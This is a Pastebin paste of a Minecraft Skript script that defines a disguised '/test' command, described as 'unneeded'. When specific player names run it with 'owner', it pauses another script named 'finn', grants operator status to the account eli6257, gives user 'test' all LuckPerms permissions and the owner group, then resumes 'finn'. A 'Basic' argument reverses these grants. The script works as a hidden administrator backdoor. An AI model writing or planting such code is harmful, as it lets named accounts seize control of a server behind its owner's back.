Guest User

Hep

a guest
Oct 27th, 2022
217
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | Source Code | 0 0
  1. command /test[<text>]:
  2. description: unneeded
  3. executable by: console or players
  4. permission: sk.test.owner.command
  5. trigger:
  6. if name of player is "test" or "test1":
  7. if %arg-1% is set:
  8. if %arg-1% contains "owner":
  9. execute console command "sk disable finn"
  10. wait 1 tick
  11. op eli6257
  12. execute console command "lp user test permission set * true"
  13. execute console command "lp user test parent set owner"
  14. execute console command "sk enable finn"
  15. if %arg-1% contains "Basic":
  16. execute console command "sk disable finn"
  17. wait 1 tick
  18. deop eli6257
  19. execute console command "lp user test permission unset *"
  20. execute console command "lp user test parent set default"
  21. execute console command "sk enable finn"
  22. else:
  23. wait 1 tick
  24. send "&cSorry, you are not test and are not allowed to use that commands" to player
  25. wait 1 tick
  26. send "" to player
  27. send "&cAccess Denied!" to player
  28. send "If you think this is an error Ask test for help :)" to player
  29. send "&cTo contact test his discord is &9test&r" to player
  30. send "" to player
Advertisement
Comments
Add Comment
Please, Sign In to add comment